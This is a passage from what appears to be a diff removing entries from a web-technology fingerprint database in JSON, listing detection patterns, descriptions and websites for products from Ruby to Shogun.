advertising automation platform enabling publishers to transact advertising brands.", - "website": "http://rubiconproject.com/" - }, - "Ruby": { - "headers": { - "server": "(?:mongrel|webrick|ruby)" - }, - "description": "Ruby is an open-source object-oriented programming language.", - "website": "http://ruby-lang.org" - }, - "Ruby Receptionists": { - "js": [ - "rubyapi" - ], - "description": "Ruby Receptionists is a Portland, Oregon based virtual answering service for small businesses.", - "website": "https://www.ruby.com" - }, - "Ruby on Rails": { - "cookies": { - "_session_id": "\\;confidence:75" - }, - "js": [ - "reactonrails", - "__react_on_rails_event_handlers_ran_once__" - ], - "headers": { - "server": "mod_(?:rails|rack)", - "x-powered-by": "mod_(?:rails|rack)" - }, - "meta": { - "csrf-param": [ - "^authenticity_token$\\;confidence:50" - ] - }, - "implies": [ - "Ruby" - ], - "description": "Ruby on Rails is a server-side web application framework written in Ruby under the MIT License.", - "website": "https://rubyonrails.org" - }, - "Rudderstack": { - "js": [ - "rudderanalytics" - ], - "description": "Rudderstack is a customer data platform (CDP) that helps you collect, clean, and control your customer data.", - "website": "https://rudderstack.com/" - }, - "Rumble": { - "js": [ - "rumble.resize", - "rumble.gdpr" - ], - "description": "Rumble is a Canadian video-streaming platform that presents itself as an alternative to YouTube.", - "website": "https://rumble.com" - }, - "Rust": { - "description": "Rust is a multi-paradigm, general-purpose programming language designed for performance and safety, especially safe concurrency.", - "website": "https://www.rust-lang.org" - }, - "RxJS": { - "js": [ - "rx.symbol", - "rx.compositedisposable" - ], - "description": "RxJS is a reactive library used to implement reactive programming to deal with async implementation, callbacks, and event-based programs.", - "website": "http://reactivex.io" - }, - "Ryviu": { - "js": [ - "ryviu_global_settings" - ], - "description": "Ryviu is customer product reviews app for building social proof for store.", - "website": "https://www.ryviu.com/" - }, - "SALESmanago": { - "js": [ - "salesmanagoobject" - ], - "description": "SALESmanago is a no-code marketing automation and customer data platform designed for mid-sized buinesses and enterprises.", - "website": "https://www.salesmanago.com" - }, - "SAP": { - "headers": { - "server": "sap netweaver application server" - }, - "website": "http://sap.com" - }, - "SAP Commerce Cloud": { - "cookies": { - "_hybris": "" - }, - "js": [ - "acc.config.commonresourcepath", - "acc.config.rootpath", - "acc.config.themeresourcepath", - "getproductattrfromhybris", - "getproductavailabilityhybris", - "hybrisid", - "passlgdatatohybris", - "smartedit" - ], - "html": [ - "\u003c[^\u003e]+/(?:sys_master|hybr|_ui/(?:.*responsive/)?(?:desktop|common(?:/images|/img|/css|ico)?))/", - "\u003cscript[^\u003e].*hybris.*.js" - ], - "implies": [ - "Java" - ], - "description": "SAP Commerce Cloud is a cloud-native omnichannel commerce solution for B2B, B2C, and B2B2C companies.", - "website": "https://www.sap.com/products/commerce-cloud.html" - }, - "SAP Customer Data Cloud Sign-in": { - "website": "https://www.sap.com/uk/acquired-brands/what-is-gigya.html" - }, - "SAP Upscale Commerce": { - "description": "SAP Upscale Commerce is a SaaS solution for small-to-medium organizations selling directly to consumers.", - "website": "https://www.sapstore.com/solutions/47000/SAP-Upscale-Commerce" - }, - "SDL Tridion": { - "html": [ - "\u003cimg[^\u003e]+_tcm\\d{2,3}-\\d{6}\\." - ], - "website": "http://www.sdl.com/products/tridion" - }, - "SEMrush": { - "js": [ - "semrush" - ], - "description": "SEMrush is an all-in-one tool suite for improving online visibility and discovering marketing insights.", - "website": "https://www.semrush.com" - }, - "SEOmatic": { - "meta": { - "generator": [ - "^seomatic$" - ] - }, - "implies": [ - "Craft CMS" - ], - "description": "SEOmatic facilitates modern SEO best practices \u0026 implementation for Craft CMS 3.", - "website": "https://plugins.craftcms.com/seomatic" - }, - "SEUR": { - "description": "SEUR is a Spanish shipments and express transport company.", - "website": "https://www.seur.com" - }, - "SHE Media": { - "js": [ - "shemedia", - "blogherads.adq" - ], - "description": "SHE Media is an ad network, which means that they basically serve as a coordinator between advertisers and publishers (bloggers).", - "website": "https://www.shemedia.com" - }, - "SIDEARM Sports": { - "js": [ - "sidearmcomponents", - "sidearmsports" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "description": "SIDEARM Sports provides the software and technology that powers the websites, livestats, and video streaming for athletic programs North America.", - "website": "https://sidearmsports.com/websites" - }, - "SIMsite": { - "meta": { - "sim.medium": [] - }, - "website": "http://simgroep.nl/internet/portfolio-contentbeheer_41623/" - }, - "SOBI 2": { - "html": [ - "(?:\u003c!-- start of sigsiu online business index|\u003cdiv[^\u003e]* class=\"sobi2)" - ], - "implies": [ - "Joomla" - ], - "website": "http://www.sigsiu.net/sobi2.html" - }, - "SPDY": { - "headers": { - "x-firefox-spdy": "\\d\\.\\d" - }, - "website": "http://chromium.org/spdy" - }, - "SPIP": { - "headers": { - "composed-by": "spip ([\\d.]+) @\\;version:\\1", - "x-spip-cache": "" - }, - "meta": { - "generator": [ - "(?:^|\\s)spip(?:\\s([\\d.]+(?:\\s\\[\\d+\\])?))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "SPIP is a content management system written in PHP that uses one or more databases like SQL, SQLite or PostgreSQL.", - "website": "http://www.spip.net" - }, - "SPNEGO": { - "headers": { - "www-authenticate": "^negotiate" - }, - "description": "SPNEGO is an authentication method commonly used in Windows servers to allow NTLM or Kerberos authentication.", - "website": "https://tools.ietf.org/html/rfc4559" - }, - "SQL Buddy": { - "html": [ - "(?:\u003ctitle\u003esql buddy\u003c/title\u003e|\u003c[^\u003e]+onclick=\"sidemainclick\\(\"home\\.php)" - ], - "implies": [ - "PHP" - ], - "description": "SQL Buddy is an open-source web-based application written in PHP to handle the administration of MySQL and SQLite with the use of a Web browser.", - "website": "http://www.sqlbuddy.com" - }, - "SQLite": { - "website": "http://www.sqlite.org" - }, - "STN Video": { - "description": "STN Video is a online video platform that solves digital video for publishers, content creators, and advertisers.", - "website": "https://www.stnvideo.com" - }, - "STUDIO": { - "meta": { - "generator": [ - "^studio$" - ] - }, - "implies": [ - "Vue.js", - "Nuxt.js", - "Firebase", - "Google Cloud", - "Google Tag Manager" - ], - "description": "STUDIO is a Japan-based company and SaaS application for designing and hosting websites. The service includes a visual editor with built-in CMS and analytics.", - "website": "https://studio.design" - }, - "SUSE": { - "headers": { - "server": "suse(?:/?\\s?-?([\\d.]+))?\\;version:\\1", - "x-powered-by": "suse(?:/?\\s?-?([\\d.]+))?\\;version:\\1" - }, - "description": "SUSE is a Linux-based server operating system.", - "website": "http://suse.com" - }, - "SVG Support": { - "description": "SVG Support is a WordPress plugin which allows you to safely upload SVG files to your media library and use them like any other image.", - "website": "https://github.com/wp-plugins/svg-support" - }, - "SWC": { - "description": "SWC is an extensible Rust-based platform for the next generation of fast developer tools.", - "website": "https://swc.rs" - }, - "SWFObject": { - "js": [ - "swfobject" - ], - "description": "SWFObject is an open-source JavaScript library used to embed Adobe Flash content onto web pages.", - "website": "https://github.com/swfobject/swfobject" - }, - "SaaSquatch": { - "js": [ - "saasquatch_tenant_alias", - "squatch.ctawidget", - "squatchquery" - ], - "description": "SaaSquatch is a cloud-based loyalty, referral and rewards marketing platform.", - "website": "https://www.saasquatch.com" - }, - "Saba.Host": { - "description": "Saba.Host is a total web-hosting solutions. It provides shared hosting, WordPress hosting, dedicated server, virtual private server (VPS), SSL and more.", - "website": "https://saba.host" - }, - "SabaVision": { - "js": [ - "sabavisionwebsiteid", - "sabavisionwebsitepage", - "sabavisionelement", - "__sabavision_get_add_timeout" - ], - "meta": { - "sabavision_zone": [] - }, - "description": "SabaVision, one of the core products of SabaIdea, is Iran's largest online advertising agency.", - "website": "https://www.sabavision.com" - }, - "Saber": { - "html": [ - "\u003cdiv [^\u003e]*id=\"_saber\"" - ], - "meta": { - "generator": [ - "^saber v([\\d.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Vue.js" - ], - "description": "Saber is a framework for building static websites.", - "website": "https://saber.land/" - }, - "Sails.js": { - "cookies": { - "sails.sid": "" - }, - "headers": { - "x-powered-by": "^sails(?:$|[^a-z0-9])" - }, - "implies": [ - "Express" - ], - "website": "http://sailsjs.org" - }, - "Sailthru": { - "cookies": { - "sailthru_pageviews": "" - }, - "js": [ - "sailthru", - "sailthruidentify", - "sailthrunewsletterregistration", - "tracksailthruuser" - ], - "meta": { - "sailthru.image.full": [], - "sailthru.title": [] - }, - "description": "Sailthru is a marketing automation software and multi-channel personalisation tool that serves ecommerce and media brands.", - "website": "https://www.sailthru.com" - }, - "Sakai": { - "cookies": { - "sakaiid": "" - }, - "js": [ - "sakai", - "sakaiportalwindow", - "sakaitutorialskin" - ], - "description": "Sakai is a robust open-source learning management system created by higher ed for higher ed.", - "website": "https://www.sakailms.org" - }, - "Sakura Internet": { - "description": "Sakura Internet is a web hosting provider that has been operating for almost 30 years.", - "website": "https://www.sakura.ad.jp" - }, - "SaleCycle": { - "description": "SaleCycle is a UK based global behavioral marketing firm.", - "website": "https://www.salecycle.com" - }, - "Saleor": { - "js": [ - "__next_data__.runtimeconfig.saleor", - "___next_data__.runtimeconfig.saleor" - ], - "implies": [ - "GraphQL" - ], - "description": "Saleor is a headless, GraphQL ecommerce platform.", - "website": "https://saleor.io" - }, - "SalesFire": { - "js": [ - "loadsalesfire" - ], - "description": "SalesFire is a SaaS company specialising in conversion rate optimisation, intelligent personalisation and on-site search solutions.", - "website": "https://www.salesfire.co.uk" - }, - "SalesReps.io": { - "description": "SalesReps.io is a sales representative performance and commission reporting software provider.", - "website": "https://salesreps.io" - }, - "Salesfloor": { - "js": [ - "nmconfig.salesfloor_env", - "salesfloorhost" - ], - "description": "Salesfloor is a mobile clienteling and virtual selling platform designed for store associates to connect with customers-beyond the store and a mpos platform for frictionless in-store experiences.", - "website": "https://salesfloor.net" - }, - "Salesforce": { - "cookies": { - "com.salesforce": "" - }, - "js": [ - "sfdcapp", - "sfdccmp", - "sfdcpage", - "sfdcsessionvars" - ], - "html": [ - "\u003c[^\u003e]+=\"brandquaternaryfgrs\"" - ], - "description": "Salesforce is a cloud computing service software (SaaS) that specializes in customer relationship management (CRM).", - "website": "https://www.salesforce.com" - }, - "Salesforce Audience Studio": { - "js": [ - "krux", - "updatekruxcookie" - ], - "description": "Salesforce Audience Studio is a customer data marketplace that only other platform users can access.", - "website": "https://www.salesforce.com/products/marketing-cloud/data-management" - }, - "Salesforce Commerce Cloud": { - "cookies": { - "dw_dnt": "", - "dwsid": "" - }, - "js": [ - "dwanalytics" - ], - "headers": { - "server": "demandware ecommerce server" - }, - "implies": [ - "Salesforce" - ], - "description": "Salesforce Commerce Cloud is a cloud-based software-as-a-service (SaaS) ecommerce solution.", - "website": "http://demandware.com" - }, - "Salesforce Desk": { - "description": "Salesforce Desk(Desk.com) is software as a service (SaaS) tool on the help desk.", - "website": "https://www.salesforce.com/solutions/small-business-solutions/help-desk-software/" - }, - "Salesforce Interaction Studio": { - "js": [ - "evergage", - "evergagehidesections" - ], - "description": "Salesforce Interaction Studio (formerly Evergage) is a cloud-based software that allows users to collect, analyze, and respond to user behavior on their websites and web applications in real-time.", - "website": "https://www.salesforce.com/products/marketing-cloud/customer-interaction" - }, - "Salesforce Marketing Cloud Account Engagement": { - "js": [ - "piaid", - "picid", - "pihostname", - "piprotocol", - "pitracker" - ], - "headers": { - "x-pardot-lb": "", - "x-pardot-route": "", - "x-pardot-rsp": "" - }, - "description": "Salesforce Marketing Cloud Account Engagement (formerly known as Pardot) is an application specifically designed for B2B marketing automation.", - "website": "https://www.salesforce.com/products/marketing-cloud/marketing-automation" - }, - "Salesforce Marketing Cloud Email Studio": { - "headers": { - "content-security-policy": "\\.exacttarget\\.com/" - }, - "description": "Salesforce Marketing Cloud Email Studio is a powerful tool that allows you to build and send personalised emails.", - "website": "https://www.salesforce.com/products/marketing-cloud/email-marketing" - }, - "Salesforce Service Cloud": { - "js": [ - "embedded_svc" - ], - "implies": [ - "Salesforce" - ], - "description": "Salesforce Service Cloud is a customer relationship management (CRM) platform for customer service and support.", - "website": "https://www.salesforce.com/au/products/service-cloud/" - }, - "Salesloft": { - "js": [ - "slscoutobject", - "slscout" - ], - "description": "Salesloft is a cloud-based sales engagement platform.", - "website": "https://salesloft.com" - }, - "Salesnauts": { - "description": "Salesnauts is a fashion ecommerce platform.", - "website": "https://salesnauts.com" - }, - "Salla": { - "headers": { - "x-powered-by": "^salla$" - }, - "description": "Salla is an ecommerce platform.", - "website": "https://salla.sa" - }, - "Salonist": { - "description": "Salonist is a salon management software.", - "website": "https://salonist.io" - }, - "Salsify": { - "description": "Salsify is a product experience management platform which connects digital asset management, content syndication, and digital catalog capabilities.", - "website": "https://www.salsify.com" - }, - "Saly": { - "meta": { - "application-name": [ - "^saly\\sb2b\\splatform$" - ] - }, - "implies": [ - "PHP", - "Svelte" - ], - "description": "Saly is an enterprise-class B2B ecommerce platform. Dedicated to solving problems faced by manufacturers, wholesalers and distributors.", - "website": "https://saly.pl" - }, - "Sana Commerce": { - "js": [ - "sana.ui" - ], - "description": "Sana Commerce is an ecommerce platform for SAP and Microsoft Dynamics.", - "website": "https://www.sana-commerce.com" - }, - "Sanity": { - "headers": { - "content-security-policy": "cdn\\.sanity\\.io", - "x-sanity-shard": "" - }, - "description": "Sanity is a platform for structured content. It comes with an open-source, headless CMS that can be customized with Javascript, a real-time hosted data store and an asset delivery pipeline.", - "website": "https://www.sanity.io" - }, - "Sapper": { - "js": [ - "__sapper__" - ], - "html": [ - "\u003cscript[^\u003e]*\u003e__sapper__" - ], - "implies": [ - "Svelte", - "Node.js" - ], - "website": "https://sapper.svelte.dev" - }, - "Sapren": { - "meta": { - "generator": [ - "^saprenco.com website builder$" - ] - }, - "implies": [ - "Laravel", - "PHP", - "MySQL" - ], - "description": "Sapren is a CMS produced by PHP, Laravel framework and MySQL.", - "website": "https://www.sapren.net" - }, - "Sarka-SPIP": { - "meta": { - "generator": [ - "sarka-spip(?:\\s([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "SPIP" - ], - "website": "http://sarka-spip.net" - }, - "Sass": { - "description": "Sass is an extension of CSS that enables you to use things like variables, nested rules, inline imports and more.", - "website": "https://sass-lang.com" - }, - "Satori": { - "js": [ - "satoriform" - ], - "description": "Satori provides marketing automation software.", - "website": "https://satori.marketing" - }, - "Satori Studio Bento": { - "description": "Satori Studio Bento is a powerful yet user-friendly free WordPress theme intended for use in the broadest range of web projects.", - "website": "https://satoristudio.net/bento-free-wordpress-theme" - }, - "Sazito": { - "js": [ - "sazito" - ], - "meta": { - "generator": [ - "^sazito" - ] - }, - "website": "http://sazito.com" - }, - "Scala": { - "description": "Scala is a general-purpose programming language providing support for both object-oriented programming and functional programming.", - "website": "http://www.scala-lang.org" - }, - "Scalapay": { - "description": "Scalapay is a payment method for e-commerce merchants in Europe that allows customers to buy now and pay later (BNPL).", - "website": "https://www.scalapay.com/" - }, - "Scalefast": { - "description": "Scalefast is an outsourced ecommerce solution designed to build and manage global ecommerce for brands, with customer loyalty programs.", - "website": "https://www.scalefast.com" - }, - "ScandiPWA": { - "implies": [ - "Magento\\;version:2", - "React", - "PWA" - ], - "description": "ScandiPWA is the next generation Magento 2 PWA theme developed in React.", - "website": "https://scandipwa.com" - }, - "Schedule Engine": { - "description": "Schedule Engine is a customer support solution built for contractors.", - "website": "https://www.scheduleengine.com/" - }, - "Scientific Linux": { - "headers": { - "server": "scientific linux", - "x-powered-by": "scientific linux" - }, - "description": "Scientific Linux (SL) is a free open-source operating system based on Red Hat Enterprise Linux.", - "website": "http://scientificlinux.org" - }, - "Scissor Themes Writee": { - "description": "Writee is an elegant free personal WordPress blog theme and well suited for personal, food, travel, fashion, corporate, or any other amazing blog.", - "website": "https://www.scissorthemes.com/themes/writee-free" - }, - "Scoop.it": { - "description": "Scoop.it is a content marketing software company based in San Francisco which provide content curation platform.", - "website": "https://www.scoop.it" - }, - "Scorpion": { - "js": [ - "process.userdata" - ], - "html": [ - "\u003c[^\u003e]+id=\"hsscorpion" - ], - "description": "Scorpion is a marketing and technology provider.", - "website": "https://www.scorpion.co/" - }, - "Scrivito": { - "js": [ - "scrivito", - "scrivito" - ], - "meta": { - "generator": [ - "^scrivito\\sby\\sinfopark\\sag\\s\\(scrivito\\.com\\)$" - ] - }, - "description": "Scrivito is a decoupled/headless enterprise web CMS.", - "website": "https://www.scrivito.com" - }, - "ScrollMagic": { - "js": [ - "scrollmagic.version", - "scrollmagic" - ], - "implies": [ - "jQuery", - "GSAP" - ], - "description": "ScrollMagic is a jQuery plugin which essentially lets you use the scrollbar like a playback scrub control.", - "website": "https://scrollmagic.io" - }, - "Scully": { - "js": [ - "scullyio" - ], - "meta": { - "generator": [ - "^scully\\s([\\d\\.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Angular" - ], - "description": "Scully is a static site generator for Angular projects looking to embrace the Jamstack.", - "website": "https://scully.io" - }, - "SeQura": { - "js": [ - "sequra", - "sequraconfiguration", - "sequraproducts" - ], - "description": "SeQura is a FinTech company based in Barcelona, providing digital flexible payment solutions, with a geographical focus on Southern Europe and Latin America.", - "website": "https://www.sequra.es" - }, - "Seal Subscriptions": { - "js": [ - "sealsubs.checkout", - "sealsubscriptions_settings_updated", - "sealsubsloaded" - ], - "implies": [ - "Shopify" - ], - "description": "Seal Subscriptions is a Shopify subscriptions app, packed with lots of features, such as automated product swaps, interval changes, payment calendar, Quick Checkout Wizard, and more.", - "website": "https://www.sealsubscriptions.com" - }, - "SeamlessCMS": { - "meta": { - "generator": [ - "^seamless\\.?cms" - ] - }, - "website": "http://www.seamlesscms.com" - }, - "SearchFit": { - "js": [ - "sfui.checkout" - ], - "meta": { - "generation-copyright": [ - "by\\ssearchfit\\sshopping\\scart\\sv([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "Searchfit provides top ecommerce software, solutions and ecommerce website design for enterprise and mid-level retailers.", - "website": "https://www.searchfit.com" - }, - "Searchanise": { - "js": [ - "searchanise" - ], - "description": "Searchanise is a complete search and filter solution for ecommerce.", - "website": "https://start.searchanise.com" - }, - "SearchiQ": { - "js": [ - "siqconfig.version", - "siq_version" - ], - "description": "SearchiQ is a cloud-based search engine solution that can be integrated into a website.", - "website": "https://www.searchiq.co" - }, - "Searchspring": { - "js": [ - "searchspring", - "searchspringconf", - "searchspringinit" - ], - "description": "Searchspring is a site search and merchandising platform designed to help ecommerce.", - "website": "https://searchspring.com" - }, - "Secomapp": { - "js": [ - "secomapp" - ], - "implies": [ - "Shopify" - ], - "description": "Secomapp is a trusted Shopify Expert providing services through Shopify Apps.", - "website": "https://www.secomapp.com" - }, - "Sectigo": { - "description": "Sectigo provides SSL certificate and computer security products.", - "website": "https://sectigo.com/" - }, - "Section.io": { - "headers": { - "section-io-id": "", - "section-io-origin-status": "", - "section-io-origin-time-seconds": "" - }, - "description": "Section.io is a Content Delivery Network (CDN).", - "website": "https://www.section.io" - }, - "Sections.design Shopify App Optimization": { - "implies": [ - "Shopify" - ], - "description": "Sections.design Shopify App Optimization is a Shopify section written in liquid for the purpose of improving performance of Shopify stores by optimizing how Shopify app loads.", - "website": "https://github.com/mirceapiturca/Sections/tree/master/App%20Optimization" - }, - "SeedProd Coming Soon": { - "description": "SeedProd Coming Soon is a page builder allows you to add a new website under construction page to your WordPress site without hiring a developer.", - "website": "https://www.seedprod.com/features/coming-soon-page-templates-for-wordpress" - }, - "Seers": { - "website": "http://www.seersco.com" - }, - "Segmanta": { - "js": [ - "segmanta__user_metadata", - "segmanta__dynamic_embed_config" - ], - "description": "Segmanta is a mobile-first survey platform designed for product feedback, brand awareness and concept testing research.", - "website": "https://segmanta.com" - }, - "Segment": { - "js": [ - "__segment_inspector__", - "analytics.snippet_version", - "analytics.version" - ], - "description": "Segment is a customer data platform (CDP) that helps you collect, clean, and control your customer data.", - "website": "https://segment.com" - }, - "Segment Consent Manager ": { - "js": [ - "consentmanager.version" - ], - "description": " Segment Consent Manager is a tool that automates the process of requesting consent for data usage, stores data on user privacy preferences, and updates these preferences when users request changes.", - "website": "https://segment.com/blog/how-to-build-consent-management-into-your-site-in-less-than-a-week" - }, - "SegmentStream": { - "js": [ - "segmentstream.version" - ], - "description": "SegmentStream is a AI-powered marketing analytics platform built for data-driven CMOs, web analysts and performance marketing teams.", - "website": "https://segmentstream.com" - }, - "Seko OmniReturns": { - "implies": [ - "MySQL", - "PHP" - ], - "description": "Seko OmniReturns is an online portal used on ecommerce websites for customers to create returns and shipping labels globally. Seko is a global logistics company offering both the technology and reverse logistics.", - "website": "https://www.sekologistics.com/us/global-cross-border-returns" - }, - "Select2": { - "js": [ - "jquery.fn.select2" - ], - "implies": [ - "jQuery" - ], - "description": "Select2 is a jQuery based replacement for select boxes. It supports searching, remote data sets, and infinite scrolling of results.", - "website": "https://select2.org/" - }, - "Selectize": { - "js": [ - "selectize", - "selectize" - ], - "implies": [ - "jQuery" - ], - "description": "Selectize is an extensible jQuery-based custom \u003cselect\u003e UI control.", - "website": "https://selectize.dev" - }, - "Sellacious": { - "js": [ - "sellaciousviewcartaio" - ], - "implies": [ - "Joomla" - ], - "description": "Sellacious is an open-source ecommerce and marketplace platform for integrated POS and online stores.", - "website": "https://www.sellacious.com" - }, - "Selldone": { - "js": [ - "webpackchunkselldone" - ], - "meta": { - "selldone-capi": [], - "selldone-cdn-id": [], - "selldone-cdn-images": [], - "selldone-iframe": [] - }, - "implies": [ - "PHP", - "Vue.js" - ], - "description": "Selldone is an all-in-one, ready-to-use ecommerce platform.", - "website": "https://selldone.com" - }, - "Sellfy": { - "js": [ - "_sellfy.version" - ], - "description": "Sellfy is an ecommerce platform designed specifically for selling digital products, such as music, illustrations, photos, books or videos in digital files.", - "website": "https://sellfy.com" - }, - "Sellingo": { - "js": [ - "sellingoquantitycalc" - ], - "description": "Sellingo is a Polish ecommerce platform.", - "website": "https://sellingo.pl" - }, - "Sellix": { - "description": "Sellix is an ecommerce payment processor. It accepts PayPal, PerfectMoney and popular cryptocurrencies.", - "website": "https://sellix.io/" - }, - "Sellsy": { - "js": [ - "sellsysnippet" - ], - "description": "Sellsy is a cloud-based sales management solution for small to midsize businesses", - "website": "https://go.sellsy.com" - }, - "Selly": { - "description": "Selly is an ecommerce platform for selling digital goods.", - "website": "https://selly.io/" - }, - "Semantic UI": { - "html": [ - "\u003clink[^\u003e]+semantic(?:\\.min)\\.css\"" - ], - "description": "Semantic UI is a front-end development framework, powered by LESS and jQuery.", - "website": "https://semantic-ui.com/" - }, - "Sematext Experience": { - "description": "Sematext Experience for Real User Monitoring Analyze data collected from real-user sessions, detect anomalies, send alerts in real-time, and enhance overall customer digital experience.", - "website": "https://sematext.com/experience" - }, - "Semplice": { - "js": [ - "semplice.template_dir" - ], - "description": "Semplice is a Wordpress-based website builder made by designers for designers.", - "website": "https://www.semplice.com" - }, - "Sencha Touch": { - "description": "Sencha Touch is a user interface (UI) JavaScript library, or web framework, specifically built for the Mobile Web.", - "website": "http://www.sencha.com/products/touch" - }, - "SendPulse": { - "description": "SendPulse is an email marketing platform with additional channels: SMS, web push notifications, Facebook and WhatsApp chatbots.", - "website": "https://sendpulse.com" - }, - "Sendgrid": { - "description": "SendGrid is a cloud-based email delivery platform for transactional and marketing emails.", - "website": "https://sendgrid.com/" - }, - "Sendinblue": { - "js": [ - "sendinblue" - ], - "description": "Sendinblue is an email marketing solution for small and medium-sized businesses that want to send and automate email marketing campaigns.", - "website": "https://www.sendinblue.com" - }, - "Sensors Data": { - "cookies": { - "sensorsdata2015jssdkcross": "", - "sensorsdata2015session": "" - }, - "js": [ - "sa.lib_version", - "sensorsdata_app_js_bridge_call_js" - ], - "website": "https://www.sensorsdata.cn" - }, - "Sentry": { - "js": [ - "sentry", - "sentry.sdk_version", - "__sentry__", - "ravenoptions.whitelisturls", - "raven.config" - ], - "html": [ - "\u003cscript[^\u003e]*\u003e\\s*raven\\.config\\('[^']*', \\{\\s+release: '([0-9\\.]+)'\\;version:\\1", - "\u003cscript[^\u003e]*src=\"[^\"]*browser\\.sentry\\-cdn\\.com/([0-9.]+)/bundle(?:\\.tracing)?(?:\\.min)?\\.js\\;version:\\1" - ], - "description": "Sentry is an open-source platform for workflow productivity, aggregating errors from across the stack in real time.", - "website": "https://sentry.io/" - }, - "Seravo": { - "headers": { - "x-powered-by": "^seravo" - }, - "implies": [ - "WordPress" - ], - "website": "https://seravo.com" - }, - "Serendipity": { - "meta": { - "generator": [ - "serendipity(?: v\\.([\\d.]+))?\\;version:\\1" - ], - "powered-by": [ - "serendipity v\\.([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://s9y.org" - }, - "Service Management Group": { - "js": [ - "smgetrackparams" - ], - "description": "Service Management Group offers customer experience measurement, employee engagement, social monitoring, publishing, and brand research services.", - "website": "https://www.smg.com" - }, - "Service Provider Pro": { - "cookies": { - "spp_csrf": "\\;confidence:25", - "spp_orderform": "", - "spp_session": "\\;confidence:25" - }, - "js": [ - "spporderform" - ], - "meta": { - "server": [ - "app.spp.co" - ] - }, - "description": "Service Provider Pro is a client management \u0026 billing software for productized service agencies.", - "website": "https://spp.co" - }, - "ServiceNow": { - "description": "ServiceNow is a cloud computing platform to help companies manage digital workflows for enterprise operations.", - "website": "https://www.servicenow.com" - }, - "Setmore": { - "js": [ - "setmorepopup" - ], - "description": "Setmore is a cloud-based appointment scheduling solution.", - "website": "https://www.setmore.com" - }, - "SevenRooms": { - "js": [ - "sevenroomswidget" - ], - "description": "SevenRooms is an fully-integrated reservation, seating and restaurant management system.", - "website": "https://sevenrooms.com" - }, - "Sezzle": { - "js": [ - "awesomesezzle", - "rendersezzleiframe", - "sezzle_footer_images" - ], - "meta": { - "sezzle_cid": [] - }, - "description": "Sezzle offers a buy-now-pay-later solution.", - "website": "https://sezzle.com/" - }, - "Shaka Player": { - "js": [ - "shaka.player.version" - ], - "description": "Shaka Player is an open-source JavaScript library for adaptive media.", - "website": "https://github.com/shaka-project/shaka-player" - }, - "Shanon": { - "description": "Shanon provides marketing automation software.", - "website": "https://www.shanon.co.jp" - }, - "Shapecss": { - "js": [ - "shapecss" - ], - "html": [ - "\u003clink[^\u003e]* href=\"[^\"]*shapecss(?:\\.min)?\\.css" - ], - "website": "https://shapecss.com" - }, - "ShareThis": { - "js": [ - "sharethis", - "__sharethis__docready" - ], - "description": "ShareThis provides free engagement and growth tools (e.g., share buttons, follow buttons, and reaction buttons) for site owners.", - "website": "http://sharethis.com" - }, - "Shareaholic": { - "js": [ - "shareaholic" - ], - "description": "Shareaholic is a all-in-one content amplification and monetisation platform.", - "website": "https://www.shareaholic.com/" - }, - "Sharethrough": { - "description": "Sharethrough is a software company that powers in-feed advertising for brands and publishers.", - "website": "https://www.sharethrough.com" - }, - "Sharetribe": { - "description": "Sharetribe is cloud-based platform for small to medium businesses, which helps businesses to create and manage custom online marketplaces.", - "website": "https://www.sharetribe.com" - }, - "SharpSpring": { - "js": [ - "sharpspring_tracking_installed" - ], - "description": "SharpSpring is a cloud-based marketing tool that offers customer relationship management, marketing automation, mobile and social marketing, sales team automation, customer service and more, all within one solution.", - "website": "https://sharpspring.com" - }, - "SharpSpring Ads": { - "js": [ - "_pa" - ], - "description": "SharpSpring Ads is an all-in-one retargeting platform.", - "website": "https://sharpspring.com/ads" - }, - "SheerID": { - "js": [ - "sheerid", - "sheerid" - ], - "headers": { - "content-security-policy": "\\.sheerid\\.com", - "content-security-policy-report-only": "\\.sheerid\\.com" - }, - "description": "SheerID is a highly specialised solution offering online verification support for retailers, marketers and service providers.", - "website": "https://www.sheerid.com/" - }, - "Shelf": { - "headers": { - "server": "dart:io with shelf", - "x-powered-by": "dart with package:shelf" - }, - "implies": [ - "Dart" - ], - "description": "Shelf is a server framework for Dart.", - "website": "https://pub.dev/packages/shelf" - }, - "ShellInABox": { - "js": [ - "shellinabox" - ], - "html": [ - "\u003ctitle\u003eshell in a box\u003c/title\u003e", - "must be enabled for shellinabox\u003c/noscript\u003e" - ], - "description": "Shell In A Box implements a web server that can export arbitrary command line tools to a web based terminal emulator.", - "website": "http://shellinabox.com" - }, - "Shift4Shop": { - "cookies": { - "3dvisit": "" - }, - "js": [ - "_3d_cart.subtotal" - ], - "headers": { - "x-powered-by": "3dcart" - }, - "description": "Shift4Shop, formerly known as 3Dcart, is an ecommerce software provider for online businesses.", - "website": "https://www.shift4shop.com" - }, - "Shiny": { - "js": [ - "shiny.addcustommessagehandler" - ], - "website": "https://shiny.rstudio.com" - }, - "ShinyStat": { - "js": [ - "sssdk" - ], - "html": [ - "\u003cimg[^\u003e]*\\s+src=['\"]?https?://www\\.shinystat\\.com/cgi-bin/shinystat\\.cgi\\?[^'\"\\s\u003e]*['\"\\s/\u003e]" - ], - "website": "http://shinystat.com" - }, - "ShipStation": { - "description": "ShipStation is a web-based shipping software designed to help ecommerce businesses streamline their shipping processes. It allows businesses to import, manage, and ship their orders from multiple sales channels, including marketplaces, shopping carts, and ecommerce platforms.", - "website": "https://www.shipstation.com" - }, - "ShipTection": { - "implies": [ - "Shopify" - ], - "description": "ShipTection is the easiest way to offer shipping protection on your Shopify site.", - "website": "https://wamapps.io/pages/shiptection-protection" - }, - "ShippyPro": { - "js": [ - "shippyproreturnform" - ], - "description": "ShippyPro is the complete shipping software for ecommerce that helps worldwide merchants to ship, track, and manage returns for their orders.", - "website": "https://www.shippypro.com" - }, - "Shoefitr.io": { - "description": "Shoefitr.io is data-based shoe size advice service where we measure the length, width, ball, and instep.", - "website": "https://www.shoefitr.io" - }, - "Shogun Frontend": { - "description": "Shogun Frontend is an all-in-one ecommerce frontend platform. Shogun Frontend pairs with leading backends: Shopify, BigCommerce, Magento (Adobe Commerce), and more.", - "website": "https://getshogun.com/frontend" - }, - "Shogun Landing Page Builder": { - "implies": [ - "Shogun Page Builder" - ], - "description": "Shogun Landing Page Builder is a 